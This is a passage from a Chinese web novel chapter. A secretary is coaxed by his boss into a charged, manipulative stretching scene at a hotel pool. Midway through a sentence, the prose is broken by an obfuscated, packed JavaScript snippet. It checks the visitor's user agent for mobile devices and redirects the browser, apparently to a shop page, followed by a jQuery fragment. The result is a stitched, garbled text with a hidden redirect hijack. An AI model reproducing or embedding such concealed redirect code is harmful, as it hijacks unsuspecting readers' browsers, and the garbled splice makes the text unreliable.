“程因,醒醒。”

    程因感觉到有人在拍自己,迷蒙地睁开眼,发现他在等候梁宗廷的过程中竟然不知不觉地睡着了。

    这有些不可思议,以前每次见过吴水泉或者接到他的电话,程因总会失眠。

    他愣了一会,坐起来,扒拉自己的头发,“宗...”

    嗓子有些难受,像吞过什么东西一样,程因咽了口唾沫,难受地动了动。

    “喉咙不舒服,是不是感冒了?”梁宗廷面露关心。

    “有点,可能房间里的暖气太干了。”程因没有放在心上。

    他急急忙忙地跟上梁宗廷,不愿意一个人待着,“宗廷哥,有没有需要我准备的工作啊?”

    梁宗廷走到水吧倒了杯热茶,递过去,“我只是打算下去游泳,没什么其他的事。”

    程因没接,他便将手放回去。

    “你可以回房间休息。”梁宗廷喝了一口,慢悠悠地补充。

    一副很体贴的老板模样。

    “不行不行。”程因急急忙忙地摇头。

    他才不要一个人待在黑乎乎的房间。

    梁宗廷似乎很诧异,“你之前不是经常说需要休息?况且游泳也没什么要帮忙的工作。”

    “我...生活秘书就是要为您服务嘛,我也想跟着您一起,可以吗?”程因抓着他的衣角,绞尽脑汁地想着他能做的事情。

    “比如?”梁宗廷提问。

    程因很顺利地跳下了猎人布置的陷阱,“我可以和你一起比赛游泳,一个人多无聊呀。”

    他眼睛一亮,抓着这一点,软磨硬泡,痴痴哀求。

    几分钟后梁宗廷终于松动。

    程因欢呼一声,跟在梁宗廷身后,到了酒店的地下一层,里面有室内恒温游泳池。

    泳池里没什么人。

    到商店里买了两条泳裤,结账后梁宗廷还问了他一遍,如果想要休息,现在就可以回去。

    程因连连摇头,赶忙想从他的手里将自己的泳裤拿过来。

    “那后面就要听话,知道吗?”梁宗廷缩了下手,握着黑色的泳裤,手指陷在布料里。

    直到程因点头,又再三保证后才拿到了属于自己的泳裤。

    布料变得有些热乎,沾染上了梁宗廷的体温。

    烫烫的,程因的手无意识地缩了下,总觉得有些奇怪。

    商店里本来有其他颜色的泳裤,他想选白色的,可惜梁宗廷没同意,选了一条黑不溜秋的。

    程因皱了皱鼻子,他好不喜欢黑色啊。

    莱顿公学上游泳课如果不是有硬性要求,他绝对可以每次泳裤不重样。

    再三留恋地看了眼商店里明显更漂亮的泳裤,程因依依不舍地抱着自己的泳袋,跟着梁宗廷身后走到更衣室里。

    脱了衣服,手机突然响了,他便光溜溜地背过身从柜子里拿出手机。

    冷冰冰发来的消息。

    [?]

    冷冰冰好冷漠哦。

    还是宗廷哥好,能陪着他。

    程因嘁了一声,才不想和他聊天,想起之前冷冰冰使唤自己的样子,坏心眼地抛了个话给他。

    [我和你说哦,我和宗廷哥现在关系很好呢。]

    [等下要去一起游泳。]

    哼,冷冰冰现在肯定会心痒痒地求着他,问他使出了什么手段,才让梁宗廷和他关系这么亲近。

    他才不会说呢。

    程因得意洋洋,还没高兴三秒。

    冷冰冰:

    [是吗?]

    [万一被赶回去,也太丢脸了。]

    !!

    这个冷冰冰,太不会说话了!

    他才不会被赶回去呢!

    程因秒切换战斗模式,咚咚咚地敲了“不牢你费心”五个字,气鼓鼓地把手机扔了回去,两条腿穿到泳裤里,先去淋浴区。

    热乎乎地将身体泡暖和了,程因才披着一条大大的毛巾,踩着一双拖鞋,从更衣区的通道口上到泳池。

    泳池周围彻底没了人,空荡荡的,但温度很舒适。

    程因在斜对角找到梁宗廷。

    似乎早就到了。

    正在那里做简单的摸背展体,腰间围了一块宽松的浴巾,背肌凶猛,远远看过去,像重峦叠嶂的山峰,大臂粗壮,发力状态下硕大,看上去一拳能把他从....

    程因咽了口唾沫,默默核算了一下泳池的宽度,嗯,能把他从泳池的这边打到泳池的那边吧。

    不想不想。

    程因摇着头把可怕的念头甩出脑袋,小跑过去,先把泳镜和泳帽放在椅子上。

    一只手臂从他的旁边伸过来,梁宗廷走过来,拿了瓶水,肤色偏深的胳膊就怼在他的手旁边。

    和他的手臂差别也太大了吧....

    程因忍不住咂舌,顺着那一块肌肉向上攀爬。

    梁宗廷正在喝水,绷直的脖子线条充满力量感,喉结上下滚动,那瓶水就迅速地干瘪下去。

    肺活量真大。

    看上去和超级无敌大狠人游泳只有输的结果。

    盘算了好几遍,再眨眼,梁宗廷已经将空了大半的水瓶放了回去,抓着泳具,正要往池子里走。

    程因一激灵,赶忙拉住他,“宗廷哥,你等等我哦,我还没热身。”

    “我先去游几圈。”梁宗廷说,但被他拉着没动。

    “很快的,你陪陪我嘛。”程因不等他说话,就赶忙把人扯回了椅子这边,摁着他的肩膀坐在一边的长椅上。

    担心梁宗廷半路离开,程因干脆就杵在他的面前热身,又担心他等得不耐烦,急匆匆的。

    热身动作被他弄得异常敷衍,唯有眼睛一直在盯梢。

    “你这动作不行。”梁宗廷突然开口,皱眉挑剔,“我一次游四个来回,你不行的,还是回去。”

    程因一听就急了,不干,“那你说要怎么热身,我都听你的。”

    想了想,程因干脆凑到梁宗廷面前,用自己缠住他,“要不宗廷哥帮帮我,这样就能让你快一点游泳啦。”

    “好嘛好嘛,你答应让我和你比赛的,不能耍赖。”

    耍起赖的程因很缠人,大眼睛像漂亮的琥珀石头,眨巴地泛起一圈涟漪,比落在泳池里的波纹还要漂亮。

    梁宗廷被他缠得似乎没招了,移开眼,“热好身就老老实实游泳去。”

    程因忙不迭地点头。

    “过来,我帮你。”梁宗廷冲着他招手。

    他似乎笑了一下,但很快又消失。

    程因疑心自己只是看错,明明是他该偷笑才对嘛。

    没有想那么多,乖乖走过去。

    细白还沾着水珠的长腿就这样直愣愣地杵到了梁宗廷的眼前,他没说话。

    被连连诱骗,自以为求着他的程因又乖乖地前进几步,腿肉上的水珠在抖,顺着漂亮的皮肉向下滚了一段距离。

    梁宗廷眼眸深沉,伸出手,接住

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17037820|194652||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    了那颗水珠,掌心下的皮肤似乎有些慌乱,不适应地绷直,想要后退。

    “别动。”他哑着嗓子,听起来火气很重。

    程因便真的不敢动了,乖乖地垂着眼,浓密的睫毛一眨一眨的,声音呆呆的,“宗廷哥,你的手好烫哦。”

    梁宗廷轻笑,将手指腹的水珠碾掉,“是你身上有些冷了。”

    他点了点自己的大腿,“脚踩上来。”

    程因犹豫了一会,大概是他的话起了作用,抬起左脚,小心翼翼地踩到梁宗廷的大腿上。

    落脚的那一瞬,梁宗廷的眉头微抬,几乎是同时间的肌肉跟着紧绷,到了最大的忍耐限度。

    处于身体本能的防御,他想要推开,但最后手还是落在了程因的小腿上,恶狠狠地一抓。

    果然。

    滑得厉害。

    像豆腐。

    程因是怎么长的?

    梁宗廷的眼神钉在上面,想将这双在梦中缠了他快十年的腿研究清楚。

    最好让程因不要再缠着自己。

    永远不要。

    “宗廷哥,我的腿怎么了吗?”程因抖着问。

    他被梁宗廷揉得有些难受,那双厚厚的大掌有些粗糙,像滚烫的砂纸。

    刮在他的腿上有些疼,但又有些奇怪。

    好奇怪。

    程因的脚指头忍不住蜷缩,丰腴的大腿跟着抖了抖,上面的水珠咕噜咕噜地滚到了深一些又健壮许多的大腿上。

    “你很久没运动了?”梁宗廷的声音绷着,似乎很不满意,动了动腿,让他把脚放下去。

    程因点点头,又听见他接着说,“肌肉都僵住了,要拉伸。”

    “把腿抬高,放到我的手上。”梁宗廷举起一只手。

    那个位置在梁宗廷的腰腹,并没有很高。

    程因很轻松地将一条腿抬起来,脚腕放到了梁宗廷的掌心里,“没什么难度嘛。”

    梁宗廷的手抬高了,到他的胸口,程因感觉到有些紧绷。

    “可以吗?”

    “还可以忍受。”程因说。

    接着又抬高,到梁宗廷的鼻梁处,程因有些吃力。

    大腿内侧的肌肉有明显的撕裂感,扯着他的臀肉跟着紧紧地绷起来,线条拉扯到极致,像绷直的弦。

    “能忍住吗?”梁宗廷的手顺着那条颤抖的线,向上摸,在测试他的极限。

    只是他的手老茧太厚,刮得程因狠狠一抖,跟着狠狠吸气,“能....”

    “好,那继续。”梁宗廷抓着他的脚踝,抬高,超过了头顶。

    程因的身体几乎完整地打开,呈现在人前。

    掌心贴着的那一块肌肤开始剧烈地颤抖,不受控制地抖,像高速的筋膜枪贴近水面,弹起的一串乱珠。

    程因的脸迅速地攀上了红痕,红艳艳的唇咬着,蹙起漂亮的秀眉。

    他好想忍耐。

    可这一次显然到达了他的极限。

    “受不了了吗?”梁宗廷的声音中沾染上了愉悦。

    他看着程因,胡乱又夹着难耐的呼吸,勉强地吐出几个字词,说着好难受,然后迅速地咬着唇,在努力地抑制喉咙中冒出的呻吟。

    可却像一个控制不了身体的漂亮娃娃,颤抖,颤抖着。

    大腿纯白的肉跟着晃荡,在他的掌心里。

    漂亮高傲的小天鹅好可怜,被摧残成这副糟糕的样子。

    而这一切,都是在他的掌心下。